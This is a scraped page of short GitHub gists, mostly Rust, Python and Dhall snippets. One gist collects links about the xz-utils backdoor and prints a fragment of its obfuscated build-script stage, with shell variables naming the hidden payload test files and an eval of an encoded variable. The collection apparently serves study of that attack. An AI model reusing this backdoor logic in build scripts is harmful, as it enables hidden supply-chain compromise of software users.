Skip to content

Instantly share code, notes, and snippets.

struct Buffer<const N: usize> {
data: [u8; N]
}
impl<const N: usize> Buffer<N> {
fn new() -> Self {
Self {
data: [0; N]
}
}
@Akanoa
Akanoa / gist:2dc95d505790456f2c5efc9def109cbc
Last active April 6, 2024 17:23
a lot of resources about xz
// patch security note by JiaT75 itself
https://salsa.debian.org/debian/xz-utils/-/blame/b43c3e48bf6097095eef36d44cdbec811074940a/.github/SECURITY.md#L12
// patch m4 file on sid debian
https://salsa.debian.org/debian/xz-utils/-/blame/2024dccf07e81337871814ff6f877a233657e5e4/m4/build-to-host.m4#L63
// backport 5.6.0
https://salsa.debian.org/debian/xz-utils/-/commit/12388833e66a4ddafe08571882ad638a511cf68b?page=10#71e626f2c3f59e8b311f7777379f651145fda3d3
// read payload stage 0 -> stage 1
https://salsa.debian.org/debian/xz-utils/-/blame/2024dccf07e81337871814ff6f877a233657e5e4/m4/build-to-host.m4#L95
// build to host patch
https://www.diffchecker.com/DxS4Wz01/
P="-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"
C="pic_flag=\" $P\""
O="^pic_flag=\" -fPIC -DPIC\"$"
R="is_arch_extension_supported"
x="__get_cpuid("
p="good-large_compressed.lzma"
U="bad-3-corrupt_lzma2.xz"
eval $zrKcVq
if test -f config.status; then
eval $zrKcSS
@Akanoa
Akanoa / Cargo.toml
Last active October 31, 2022 18:48
Gitlab SSO
[package]
name = "gitlab-sso"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
actix-rt = "2.7.0"
actix-web = "4.2.1"
@Akanoa
Akanoa / Cargo.toml
Created September 14, 2022 17:44
Minimal
[package]
name = "test_data_fusion"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
futures = "0.3.24"
futures-util = "0.3.24"
@Akanoa
Akanoa / Cargo.toml
Created September 14, 2022 17:08
Stream<A> -> Stream<B>
[package]
name = "test_data_fusion"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
datafusion = "11.0.0"
foundationdb = {git = "https://github.com/foundationdb-rs/foundationdb-rs.git", features=["embedded-fdb-include", "fdb-7_1"]}
@Akanoa
Akanoa / double_hmac.py
Created August 29, 2022 19:09
double hmac
def verify(self, secret):
identifier = bytes(self.identifier, encoding="utf-8")
secret = bytes(secret, encoding="utf-8")
signature = hmac_sha256(secret, identifier)
for caveat in self.caveats:
signature = hmac_sha256(signature, caveat.encode("utf-8"))
@Akanoa
Akanoa / Cargo.toml
Last active August 21, 2022 19:17
Panic on datastore new
[package]
name = "surreal"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
surrealdb = {version = "1.0.0-beta.6", default-features = false, features=["parallel", "scripting", "http", "kv-echodb"]}
eyre = "0.6.8"
@Akanoa
Akanoa / defaults.dhall
Last active August 11, 2022 09:47
Dhall Docker-Compose DSL
let Map =
https://raw.githubusercontent.com/dhall-lang/dhall-lang/master/Prelude/Map/Type
let types = ./types.dhall
let Service =
{ deploy = None types.Deploy
, build = None types.Build
, cap_add = None (List Text)
, cap_drop = None (List Text)
@Akanoa
Akanoa / main.rs
Created August 9, 2022 22:24
Clockwerk async
use clokwerk::{AsyncScheduler, TimeUnits};
use std::time::Duration;
async fn job() {
dbg!("It works");
}
#[tokio::main]
async fn main() {
let mut scheduler = AsyncScheduler::new();